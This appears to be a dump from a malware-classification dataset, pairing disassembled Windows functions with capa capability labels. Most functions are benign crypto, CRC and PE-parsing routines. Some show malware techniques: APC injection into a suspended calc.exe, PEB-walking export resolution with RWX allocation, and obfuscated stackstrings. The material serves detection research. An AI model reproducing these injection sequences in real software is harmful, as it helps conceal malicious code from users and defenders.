joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7ff7f79fb5b4
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
xor r15d, r15d
lea r12, [0x7ff7f7950000]
movzx eax, byte [r15 + r12 + 0xc93d0]
mov edi, eax
mov r8d, eax
shr edi, 5
mov r11d, eax
shr r8d, 6
mov ebp, edi
lea edx, [rax + rax]
shr r11d, 7
xor edx, eax
and ebp, 4
mov r10d, edi
mov r9d, r8d
and edi, 1
and r10d, 2
imul ecx, edi, 0x1b000000
and r8d, 1
lea ebx, [rdx + rdx]
and r9d, 2
lea edx, [rdx*4]
xor ebx, eax
xor edx, eax
shl ebx, 0x19
shl edx, 8
mov esi, eax
xor rbx, rcx
mov r14d, eax
imul ecx, r10d, 0x1b000000
xor rbx, rcx
imul ecx, r8d, 0x1b000000
xor rbx, rcx
imul ecx, r9d, 0x1b000000
xor rbx, rcx
imul ecx, ebp, 0x1b000000
xor rbx, rcx
imul ecx, r11d, 0x1b000000
xor rbx, rcx
imul ecx, edi, 0x11b00
xor rdx, rcx
imul ecx, r10d, 0x11b00
xor rdx, rcx
imul ecx, r8d, 0x11b00
xor rdx, rcx
imul ecx, r9d, 0x11b00
xor rdx, rcx
imul ecx, ebp, 0x11b00
xor rdx, rcx
imul ecx, edi, 0x11b0000
or rbx, rdx
lea edx, [rax*8]
xor edx, eax
lea eax, [rax*4]
shl edx, 0x10
xor eax, r14d
xor rdx, rcx
imul ecx, r10d, 0x11b0000
xor rdx, rcx
imul ecx, ebp, 0x11b0000
xor rdx, rcx
imul ecx, edi, 0x11b
or rbx, rdx
lea edx, [rax + rax]
xor rdx, rcx
imul ecx, r10d, 0x11b
xor rdx, rcx
imul ecx, ebp, 0x11b
xor rdx, rcx
imul ecx, r11d, 0x11b
xor rdx, rcx
xor rdx, rsi
or rdx, rbx
shl rdx, 0x20
or rdx, rbx
or rdx, rsi
mov qword [r12 + r15*8 + 0xf3d40], rdx
inc r15
cmp r15, 0x100
jl 0x7ff7f79fb5d7
mov rbx, qword [rsp + 0x20]
mov rbp, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov byte [0x7ff7f7a44541], 1
pop r15
pop r14
pop r12
ret

Function at 0x7ff7f79fb740
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
xor r11d, r11d
lea rbx, [0x7ff7f7950000]
movzx r9d, byte [r11 + rbx + 0xc92d0]
mov edx, r9d
shr edx, 7
imul r10d, edx, 0x1b000000
lea r8d, [r9 + r9]
imul ecx, edx, 0x11b
mov eax, r8d
shl eax, 0x18
xor r10, rax
mov eax, r9d
shl eax, 8
or eax, r9d
shl eax, 8
or r10, rax
mov eax, r8d
xor rcx, rax
xor rcx, r9
or rcx, r10
shl rcx, 0x20
or rcx, r10
mov qword [rbx + r11*8 + 0xf3530], rcx
inc r11
cmp r11, 0x100
jl 0x7ff7f79fb74f
and qword [0x7ff7f7a43d38], 0
and qword [0x7ff7f7a43d30], 0
mov rbx, qword [rsp + 8]
mov byte [0x7ff7f7a44540], 1
ret
Function at 0x7ff7f79fd1f0
Capabilities:
Generate random numbers via winapi

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x90
mov rax, qword [0x7ff7f7a3d168]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov rbx, r8
mov rdi, rdx
mov ecx, dword [0x7ff7f7a44bb0]
mov rax, qword gs:[0x58]
mov edx, 4
mov rax, qword [rax + rcx*8]
mov ecx, dword [rdx + rax]
cmp dword [0x7ff7f7a44550], ecx
jg 0x7ff7f79fd2d2
mov eax, ebx
cmp rbx, rax
jne 0x7ff7f79fd294
xor ecx, ecx
test rbx, rbx
setne cl
xor eax, eax
test ebx, ebx
setne al
cmp ecx, eax
jne 0x7ff7f79fd294
xor r9d, r9d
mov r8d, ebx
mov rdx, rdi
mov rcx, qword [0x7ff7f7a44548]
call sub.bcrypt.dll_BCryptGenRandom
test eax, eax
js 0x7ff7f79fd315
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.7ff7f7a057e0
mov rbx, qword [rsp + 0xa0]
add rsp, 0x90
pop rdi
ret
mov ecx, 0x5b6
call qword [sym.imp.kernel32.dll_SetLastError]
lea rdx, [0x7ff7f7a17e50]
lea rcx, [rsp + 0x20]
call fcn.7ff7f7953570
nop
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.7ff7f79fcf20
lea rdx, [0x7ff7f7a39528]
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rcx, [0x7ff7f7a44550]
call fcn.7ff7f7a058a8
cmp dword [0x7ff7f7a44550], 0xffffffff
jne 0x7ff7f79fd23c
lea rcx, [0x7ff7f7a44548]
call fcn.7ff7f79fce34
lea rcx, [0x7ff7f7a0f16c]
call fcn.7ff7f7a05c64
nop
lea rcx, [0x7ff7f7a44550]
call fcn.7ff7f7a0583c
jmp 0x7ff7f79fd23c
mov ecx, eax
call fcn.7ff7f79fd358
mov ecx, eax
call qword [sym.imp.kernel32.dll_SetLastError]
lea rdx, [0x7ff7f7a17e68]
lea rcx, [rsp + 0x20]
call fcn.7ff7f7953570
nop
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.7ff7f79fcf20
lea rdx, [0x7ff7f7a39528]
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll__CxxThrowException
int3

Function at 0x7ff7f79fe75c
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
xor r14d, r14d
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
cmp r8, 8
jb 0x7ff7f79fe7cf
mov rbp, r8
shr rbp, 3
imul rax, rbp, 0xfffffffffffffff8
add rdi, rax
mov r8d, 8
lea rcx, [rsp + 0x58]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy_1
mov r8d, 8
lea rcx, [rsp + 0x50]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy_1
mov rax, qword [rsp + 0x50]
add rsi, 8
xor rax, qword [rsp + 0x58]
add rbx, 8
or r14, rax
sub rbp, 1
jne 0x7ff7f79fe78e
mov rcx, r14
shr rcx, 0x20
or ecx, r14d
mov edx, ecx
mov eax, ecx
shr edx, 8
or edx, ecx
shr eax, 0x10
and edx, 0xff00
or edx, eax
movzx eax, cl
shr edx, 8
or edx, eax
test rdi, rdi
je 0x7ff7f79fe811
sub rsi, rbx
movzx ecx, byte [rsi + rbx]
movzx eax, byte [rbx]
inc rbx
xor ecx, eax
or edx, ecx
sub rdi, 1
jne 0x7ff7f79fe7fd
mov rbx, qword [rsp + 0x40]
test edx, edx
mov rbp, qword [rsp + 0x48]
sete al
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
Function at 0x7ff7f79fe82c
Capabilities:
Encode data using xor

Disassembly:
test r9, r9
je 0x7ff7f79fe8f2
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov rbx, r9
mov r15d, 4
mov rdi, r8
mov rsi, rdx
mov r14, rcx
cmp rbx, r15
jb 0x7ff7f79fe8bd
mov rbp, rbx
shr rbp, 2
imul rax, rbp, 0xfffffffffffffffc
add rbx, rax
mov r8, r15
lea rcx, [rsp + 0x20]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy_1
mov r8, r15
lea rcx, [rsp + 0x68]
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy_1
mov eax, dword [rsp + 0x68]
lea rdx, [rsp + 0x24]
xor eax, dword [rsp + 0x20]
mov r8, r15
mov rcx, r14
mov dword [rsp + 0x24], eax
call sub.VCRUNTIME140.dll_memcpy_1
add r14, r15
add rsi, r15
add rdi, r15
sub rbp, 1
jne 0x7ff7f79fe872
test rbx, rbx
je 0x7ff7f79fe8da
sub rsi, rdi
sub r14, rdi
mov al, byte [rsi + rdi]
xor al, byte [rdi]
mov byte [r14 + rdi], al
inc rdi
sub rbx, 1
jne 0x7ff7f79fe8c8
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret

Function at 0x7ff7f79fe8f4
Capabilities:
Encode data using xor

Disassembly:
test r8, r8
je 0x7ff7f79fe9a1
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
mov rbx, r8
mov r14d, 4
mov rsi, rdx
mov rdi, rcx
cmp rbx, r14
jb 0x7ff7f79fe979
mov rbp, rbx
shr rbp, 2
imul rax, rbp, 0xfffffffffffffffc
add rbx, rax
mov r8, r14
lea rcx, [rsp + 0x68]
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy_1
mov r8, r14
lea rcx, [rsp + 0x60]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy_1
mov eax, dword [rsp + 0x60]
lea rdx, [rsp + 0x20]
xor eax, dword [rsp + 0x68]
mov r8, r14
mov rcx, rdi
mov dword [rsp + 0x20], eax
call sub.VCRUNTIME140.dll_memcpy_1
add rdi, r14
add rsi, r14
sub rbp, 1
jne 0x7ff7f79fe931
test rbx, rbx
je 0x7ff7f79fe98f
sub rsi, rdi
mov al, byte [rsi + rdi]
xor byte [rdi], al
inc rdi
sub rbx, 1
jne 0x7ff7f79fe981
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret
Function at 0x7ff7f7a048ec
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
movdqu xmm1, xmmword [rcx]
mov r9d, 4
shl edx, 2
mov r8, rcx
movdqu xmm0, xmmword [rcx + rdx*4]
movdqu xmmword [rcx], xmm0
movdqu xmmword [rcx + rdx*4], xmm1
add edx, 0xfffffffc
cmp edx, r9d
jbe 0x7ff7f7a0493b
aesimc xmm0, xmmword [r8 + rdx*4]
mov ecx, r9d
add r9d, 4
aesimc xmm1, xmmword [r8 + rcx*4]
movdqu xmmword [r8 + rcx*4], xmm0
movdqu xmmword [r8 + rdx*4], xmm1
add edx, 0xfffffffc
cmp r9d, edx
jb 0x7ff7f7a04912
mov eax, r9d
aesimc xmm0, xmmword [r8 + rax*4]
movdqu xmmword [r8 + rax*4], xmm0
ret

Function at 0x7ff7f7a0541c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, [0x7ff7f7a197b0]
mov r9d, 2
call qword [sym.imp.kernel32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.kernel32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x7ff7f7a054a0
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x7ff7f7a196b0]
cmp byte [rcx + rax], 0
je 0x7ff7f7a054a0
dec r8
sub rdx, 1
jne 0x7ff7f7a05486
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x7ff7f7a065cc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x7ff7f7a06616
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x7ff7f7a06616
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x7ff7f7a06616
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x7ff7f7a06616
cmp dword [rcx + 0x84], 0xe
jbe 0x7ff7f7a06616
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x7ff7f7a06618
xor al, al
add rsp, 0x28
ret
Function at 0x1400111fe
Capabilities:
Terminate process

Disassembly:
jmp 0x140012eb0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011276
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Inject apc
Resume thread
Use process replacement

Disassembly:
jmp 0x1400117e0
push rbp
push rsi
push rdi
mov eax, 0x31f20
call fcn.1400110af
sub rsp, rax
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0xc634
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140059008]
xor rax, rbp
mov qword [rbp + 0x31ec8], rax
lea rcx, [0x14005e09f]
call fcn.14001137f
lea rax, [rbp + 0x10]
lea rcx, [0x14001acc0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x31750
rep movsb byte [rdi], byte [rsi]
mov qword [rbp + 0x31778], 0x31750
lea rax, [rbp + 0x317a0]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rbp + 0x31828]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rbp + 0x31828]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x317a0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:WindowsSystem32calc.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rax, qword [rbp + 0x31828]
mov qword [rbp + 0x31858], rax
mov rax, qword [rbp + 0x31830]
mov qword [rbp + 0x31878], rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8, qword [rbp + 0x31778]
xor edx, edx
mov rcx, qword [rbp + 0x31858]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x31898], rax
mov rax, qword [rbp + 0x31898]
mov qword [rbp + 0x318b8], rax
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x31778]
lea r8, [rbp + 0x10]
mov rdx, qword [rbp + 0x31898]
mov rcx, qword [rbp + 0x31858]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r8d, r8d
mov rdx, qword [rbp + 0x31878]
mov rcx, qword [rbp + 0x318b8]
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, qword [rbp + 0x31878]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001ac80]
call fcn.140011311
mov eax, edi
mov rcx, qword [rbp + 0x31ec8]
xor rcx, rbp
call fcn.1400111b3
lea rsp, [rbp + 0x31ed0]
pop rdi
pop rsi
pop rbp
ret
Function at 0x140011280
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014200
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014220
xor al, al
jmp 0x1400142a1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014233
xor al, al
jmp 0x1400142a1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001425d
xor al, al
jmp 0x1400142a1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014271
xor al, al
jmp 0x1400142a1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014283
xor al, al
jmp 0x1400142a1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001429f
xor al, al
jmp 0x1400142a1
mov al, 1
add rsp, 0x38
ret
Function at 0x140001a01
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov r12, rcx
test edx, edx
je 0x140001b75
mov r13d, edx
mov edi, 0
lea r14, [0x140001530]
lea rbx, [0x1405b7301]
jmp 0x140001a67
mov byte [0x1405b7301], 0
mov edx, esi
sar edx, 0x1f
shr edx, 0x1b
lea eax, [rsi + rdx]
and eax, 0x1f
sub eax, edx
cdqe
lea rdx, [0x1405b72e0]
xor bpl, byte [rdx + rax]
mov byte [r12 + rdi], bpl
add rdi, 1
cmp r13, rdi
je 0x140001b75
mov esi, edi
movzx ebp, byte [r12 + rdi]
mov byte [rsp + 0x20], 0x83
mov byte [rsp + 0x21], 0x7d
mov byte [rsp + 0x22], 0x84
mov byte [rsp + 0x23], 0x84
mov byte [rsp + 0x24], 0x7d
mov byte [rsp + 0x25], 0x8b
mov byte [rsp + 0x26], pe_nt_image_headers64
mov byte [rsp + 0x27], 0x8b
mov byte [rsp + 0x28], 0x79
mov byte [rsp + 0x29], 0x79
mov byte [rsp + 0x2a], 0x7e
mov byte [rsp + 0x2b], 0x81
mov byte [rsp + 0x2c], 0x81
mov byte [rsp + 0x2d], pe_nt_image_headers64
mov byte [rsp + 0x2e], 0x76
mov byte [rsp + 0x2f], 0x8b
mov byte [rsp + 0x30], 0x76
mov byte [rsp + 0x31], 0x84
mov byte [rsp + 0x32], 0x7b
mov byte [rsp + 0x33], 0x8a
mov byte [rsp + 0x34], 0x79
mov byte [rsp + 0x35], 0x77
mov byte [rsp + 0x36], 0x74
mov byte [rsp + 0x37], 0x7e
mov byte [rsp + 0x38], 0x7c
mov byte [rsp + 0x39], 0x76
mov byte [rsp + 0x3a], 0x81
mov byte [rsp + 0x3b], 0x87
mov byte [rsp + 0x3c], 0x81
mov byte [rsp + 0x3d], 0x7a
mov byte [rsp + 0x3e], 0x76
mov byte [rsp + 0x3f], 0x82
mov byte [rsp + 0x40], 0x13
cmp byte [0x1405b72c0], 0
jne 0x140001b50
mov byte [0x1405b7301], 1
mov eax, 0
lea rcx, [0x1405b72e0]
movzx edx, byte [rsp + rax + 0x20]
mov byte [rcx + rax], dl
add rax, 1
cmp rax, 0x21
jne 0x140001b2f
mov byte [0x1405b72c0], 1
mov rcx, r14
call fcn.1400014f0
cmp byte [0x1405b7301], 0
je 0x140001a39
lea rax, [0x1405b72e0]
sub byte [rax], 0x13
add rax, 1
cmp rbx, rax
jne 0x140001b64
jmp 0x140001a32
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x1400107b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1405b76b4]
test esi, esi
mov rdi, rcx
mov rbp, rdx
mov rbx, r8
jle 0x140010940
mov rax, qword [0x1405b76b8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rdi, rdx
jb 0x1400107fc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rdi, rdx
jb 0x140010885
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x1400107e0
mov rcx, rdi
call fcn.140011310
test rax, rax
mov r12, rax
je 0x140010992
mov rax, qword [0x1405b76b8]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.140011450
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1405b76b8]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140010975
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14001087e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400108f0
add dword [0x1405b76b4], 1
cmp ebx, 8
jae 0x1400108b1
test bl, 4
jne 0x140010950
test ebx, ebx
je 0x1400108a6
movzx eax, byte [rbp]
test bl, 2
mov byte [rdi], al
jne 0x140010964
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, ebx
sub ebx, 1
mov rdx, qword [rbp + rax - 8]
cmp ebx, 8
mov qword [rdi + rax - 8], rdx
jb 0x1400108a6
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, ebx
mov qword [rdi + rdx], rcx
jb 0x1400108ca
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov r8d, 4
mov eax, 0x40
mov rcx, qword [rsp + 0x20]
cmovne r8d, eax
mov rdx, qword [rsp + 0x38]
add rsi, qword [0x1405b76b8]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14001087e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140010740
xor esi, esi
jmp 0x140010807
mov eax, dword [rbp]
mov ebx, ebx
mov dword [rdi], eax
mov eax, dword [rbp + rbx - 4]
mov dword [rdi + rbx - 4], eax
jmp 0x1400108a6
mov ebx, ebx
movzx eax, word [rbp + rbx - 2]
mov word [rdi + rbx - 2], ax
jmp 0x1400108a6
mov rax, qword [0x1405b76b8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call fcn.140010740
lea rcx, str.Address__p_has_no_image_section
mov rdx, rdi
call fcn.140010740
nop
nop dword [rax]
nop word cs:[rax + rax]
Function at 0x140010f60
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x1405b7720]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1405b7700]
test rbx, rbx
je 0x140010fb4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140010fab
test rsi, rsi
je 0x140010fab
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140010f90
lea rcx, [0x1405b7720]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140011310
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x1405b22d0]
xor edx, edx
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x14001137f
mov rcx, r9
call fcn.1400111e0
test eax, eax
je 0x14001137f
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
lea rdx, [r9 + rax + 0x18]
movzx eax, word [r9 + 6]
test eax, eax
je 0x14001137d
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x140011374
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x14001137f
add rdx, 0x28
cmp rdx, r9
jne 0x140011360
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret
Function at 0x14000a8f4
Capabilities:
Access peb ldr_data

Disassembly:
push r12
push r14
push r15
sub r12, r12
add r12, 0x60
mov r14, qword gs:[r12]
push r11
mov r11, qword [r14 + 0x10]
add r14, 0x18
mov r15, qword [r14]
mov r12, r15
add r12, 0x10
mov r14, qword [r12]
push rax
mov r12, qword [r14 + 0x30]
cmp r12, 0
je 0x14000a94e
mov r15, qword [r14 + 0x60]
mov rax, qword [r15]
and eax, 0xdf00df
mov r15, qword [r15 + 0xb]
add r15d, eax
shr r15d, 2
sub r15d, 0xc914cd2
cmp r15, 0
je 0x14000a956
mov r14, qword [r14]
jmp 0x14000a91f
mov r14d, dword [r12 + 0x3c]
add r14, r12
add r14, 0x10
mov r15d, dword [r14 + 0x78]
add r15, r12
push r10
mov eax, dword [r15 + 0x20]
add rax, r12
mov r10d, dword [rax]
add r10, r12
mov r14d, dword [r10 + 0xb]
sub r14d, 0x746365
cmp r14d, 0
jne 0x14000a98b
jmp 0x14000a999
inc rax
inc rax
inc rax
inc rax
jmp 0x14000a972
mov r14d, dword [r15 + 0x20]
sub rax, r14
sub rax, r12
shr eax, 1
mov r14d, dword [r15 + 0x24]
add r14, rax
add r14, r12
mov eax, dword [r14]
mov r14d, dword [r15 + 0x1c]
shl eax, 0x10
shr eax, 0xe
add r14, r12
add r14, rax
mov eax, dword [r14]
add rax, r12
mov r14d, 0xaa000
add r14, r11
push r12
push r11
push r14
push r10
push r10
push rax
mov rcx, r14
mov r9, rsp
mov r8d, 0x40
mov edx, 0x55000
call rax
pop r15
pop r10
pop r10
pop r14
pop r11
mov r12d, 0x3b28
push rax
movabs r15, 0x3ae00
mov eax, 0x13

Function at 0x14000f5a0
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x14000f433
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000f433
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000f433
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000f433
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000f433
cmp dword [rcx + 0x84], 0xe
jbe 0x14000f433
cmp dword [rcx + 0xf8], 0
je 0x14000f433
mov ecx, ebx
call fcn.14000f4d4
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.14000f2c4
cmp dword [rbp + 0x20], 0
je 0x14000f480
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000f488
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000f3cc
Function at 0x140003990
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x1400039ed
lea rbx, [0x140145d20]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x1400039d4
cmp r10, 2
jb 0x1400039d4
cmp byte [r9], r8b
jne 0x1400039d4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x1400039b0
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x140003a2f
lea rbx, [0x140145d20]
cmp r8b, 0x23
jne 0x140003a13
cmp byte [r9], r8b
jne 0x140003a13
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x140003a00
mov rbx, qword [rsp + 8]
not eax
ret
Function at 0x1400076f0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x10], edx
push rdi
sub rsp, 0x20
cmp dword [rcx + 0xe8], 0
mov rbx, rcx
movsxd rdi, edx
jg 0x140007727
mov r8d, 0x708
lea rdx, str.D:JAMESSNew_folderStreetfffffffffStreetfffffffffimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0xf0]
lea rdx, [0x140145d20]
movsxd r8, dword [rbx + 0xe8]
mov ebx, dword [rax + r8*4 - 4]
not ebx
movzx eax, dil
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [rsp + 0x39]
xor ebx, dword [rdx + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [rsp + 0x3a]
